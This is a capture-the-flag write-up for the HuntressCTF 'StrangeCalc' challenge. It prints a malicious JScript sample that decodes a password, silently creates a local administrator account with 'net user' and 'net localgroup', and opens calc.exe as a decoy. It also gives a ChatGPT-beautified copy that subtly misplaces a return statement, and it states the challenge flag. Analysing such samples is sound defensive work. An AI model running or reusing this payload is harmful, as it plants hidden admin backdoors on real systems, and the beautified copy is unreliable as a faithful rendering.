2024 HuntressCTF - StrangeCalc

2024-10-01

Summary

Steps

type u2POGqu61l.js
function a(b){var c="",d=b.split("\n");for(var e=0;e<d.length;e++){var f=d[e].replace(/^\s+|\s+$/g,'');if(f.indexOf("begin")===0||f.indexOf("end")===0||f==="")continue;var g=(f.charCodeAt(0)-32)&63;for(var h=1;h<f.length;h+=4){if(h+3>=f.length)break;var i=(f.charCodeAt(h)-32)&63,j=(f.charCodeAt(h+1)-32)&63,k=(f.charCodeAt(h+2)-32)&63,l=(f.charCodeAt(h+3)-32)&63;c+=String.fromCharCode((i<<2)|(j>>4));if(h+2<f.length-1)c+=String.fromCharCode(((j&15)<<4)|(k>>2));if(h+3<f.length-1)c+=String.fromCharCode(((k&3)<<6)|l)}}return c.substring(0,g)}var m="begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";var n=a(m);var o=["net user LocalAdministrator "+n+" /add","net localgroup administrators LocalAdministrator /add","calc.exe"];var p=new ActiveXObject('WScript.Shell');for(var q=0;q<o.length-1;q++){p.Run(o[q],0,false)}p.Run(o[2],1,false);

Using ChatGPT, I prompted it to beautify the code giving me a result of:

function decode(input) {
    var result = "";
    var lines = input.split("\n");

    for (var i = 0; i < lines.length; i++) {
        var line = lines[i].replace(/^\s+|\s+$/g, '');

        // Skip lines that start with "begin", "end" or are empty
        if (line.indexOf("begin") === 0 || line.indexOf("end") === 0 || line === "") {
            continue;
        }

        var length = (line.charCodeAt(0) - 32) & 63;

        for (var j = 1; j < line.length; j += 4) {
            if (j + 3 >= line.length) break;

            var char1 = (line.charCodeAt(j) - 32) & 63;
            var char2 = (line.charCodeAt(j + 1) - 32) & 63;
            var char3 = (line.charCodeAt(j + 2) - 32) & 63;
            var char4 = (line.charCodeAt(j + 3) - 32) & 63;

            result += String.fromCharCode((char1 << 2) | (char2 >> 4));

            if (j + 2 < line.length - 1) {
                result += String.fromCharCode(((char2 & 15) << 4) | (char3 >> 2));
            }

            if (j + 3 < line.length - 1) {
                result += String.fromCharCode(((char3 & 3) << 6) | char4);
            }
        }

        return result.substring(0, length);
    }
}

var encodedString = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var decodedString = decode(encodedString);

var commands = [
    "net user LocalAdministrator " + decodedString + " /add",
    "net localgroup administrators LocalAdministrator /add",
    "calc.exe"
];

var shell = new ActiveXObject('WScript.Shell');

for (var i = 0; i < commands.length - 1; i++) {
    shell.Run(commands[i], 0, false);
}

shell.Run(commands[2], 1, false);

Here we see there is a custom decoding function that will place the variable in the password portion of the net user command. Contiuning to use ChatGPT, I prompted it to decode the password with a result net user LocalAdministrator flag{9922fb21aaf1757e3fdb28d7890a5d93} /add.

Flag: flag{9922fb21aaf1757e3fdb28d7890a5d93}